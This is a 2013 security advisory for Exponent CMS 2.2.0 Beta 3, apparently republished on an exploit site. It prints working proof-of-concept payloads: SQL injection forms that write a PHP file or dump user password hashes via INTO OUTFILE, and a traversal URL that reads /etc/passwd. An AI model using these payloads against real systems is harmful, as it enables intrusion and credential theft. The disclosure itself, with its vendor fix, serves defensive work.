Lucene search
K

Exponent CMS 2.2.0 Beta 3 LFI / SQL Injection Vulnerabilities

🗓️ 16 May 2013 00:00:00Reported by High-Tech BridgeType 
zdt
 zdt
🔗 0day.today👁 57 Views

Exponent CMS 2.2.0 Beta 3 security advisory with SQL injection and PHP file inclusion vulnerabilities. Upgrade to v2.2.0 Release Candidate 1

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2013-3294
11 Feb 201417:00
cve
CVE
CVE-2013-3295
30 Dec 201402:00
cve
Cvelist
CVE-2013-3294
11 Feb 201417:00
cvelist
Cvelist
CVE-2013-3295
30 Dec 201402:00
cvelist
Exploit DB
Exponent CMS 2.2.0 Beta 3 - Multiple Vulnerabilities
17 May 201300:00
exploitdb
EUVD
EUVD-2013-3231
7 Oct 202500:30
euvd
EUVD
EUVD-2013-3232
7 Oct 202500:30
euvd
exploitpack
Exponent CMS 2.2.0 Beta 3 - Multiple Vulnerabilities
17 May 201300:00
exploitpack
htbridge
Multiple Vulnerabilities in Exponent CMS
24 Apr 201300:00
htbridge
NVD
CVE-2013-3294
11 Feb 201417:55
nvd
Rows per page
Product: Exponent CMS
Vendor: Online Innovative Creations
Vulnerable Version(s): 2.2.0 beta 3 and probably prior
Tested Version: 2.2.0 beta 3
Vendor Notification: April 24, 2013 
Vendor Patch: May 3, 2013 
Public Disclosure: May 15, 2013 
Vulnerability Type: SQL Injection [CWE-89], PHP File Inclusion [CWE-98]
CVE References: CVE-2013-3294, CVE-2013-3295
Risk Level: High 
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Exponent CMS, which can be exploited to execute arbitrary SQL commands in the database of vulnerable application and execute arbitrary PHP code on the vulnerable system.


1) SQL Injection in Exponent CMS: CVE-2013-3294

The vulnerability exists due to insufficient filtration of "src" and "username" HTTP GET parameters passed to "/index.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.

Depending on database and system configuration, the PoC (Proof-of-Concept) code below will create a "/var/www/file.php" file with PHP function 'phpinfo()':


<form action="http://[host]/index.php" method="post" name="main">
<input type="hidden" name="action"   value="login">
<input type="hidden" name="int"      value="1">
<input type="hidden" name="module"   value="login">
<input type="hidden" name="password" value="password">
<input type="hidden" name="src"      value="' UNION SELECT '<? phpinfo(); ?>' INTO OUTFILE '/var/www/file.php' -- ">
<input type="hidden" name="username" value="' UNION SELECT '<? phpinfo(); ?>' INTO OUTFILE '/var/www/file.php' -- ">
<input type="submit" id="btn">
</form>


The second PoC will attempt to create "/var/www/file.txt" file, containing usernames and hashed passwords of all application's users: 


<form action="http://[host]/index.php" method="post" name="main">
<input type="hidden" name="action"   value="login">
<input type="hidden" name="int"      value="1">
<input type="hidden" name="module"   value="login">
<input type="hidden" name="password" value="password">
<input type="hidden" name="src"      value="' UNION SELECT CONCAT_WS(':',username,password) FROM `exponent_user` INTO OUTFILE '/var/www/file.txt' -- ">
<input type="hidden" name="username" value="' UNION SELECT CONCAT_WS(':',username,password) FROM `exponent_user` INTO OUTFILE '/var/www/file.txt' -- ">
<input type="submit" id="btn">
</form>



2) PHP File Inclusion in Exponent CMS: CVE-2013-3295

The vulnerability is caused by improper filtration of user-supplied input passed via the "page" HTTP GET parameter to "/install/popup.php" script, which is publicly accessible after CMS installation by default. A remote unauthenticated attacker can include arbitrary PHP files from the local system using directory traversal sequences with URL-encoded NULL byte, read arbitrary files or execute arbitrary PHP code on the target system. 

The PoC code below will output the content of '/etc/passwd' file on vulnerable system:

http://[host]/install/popup.php?page=../../../../etc/passwd%00

-----------------------------------------------------------------------------------------------

Solution:

Upgrade to Exponent CMS v2.2.0 Release Candidate 1

More Information:
http://www.exponentcms.org/news/release-candidate-1-v2-2-0-set-loose
http://forums.exponentcms.org/viewtopic.php?f=16&t=789

#  0day.today [2018-02-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation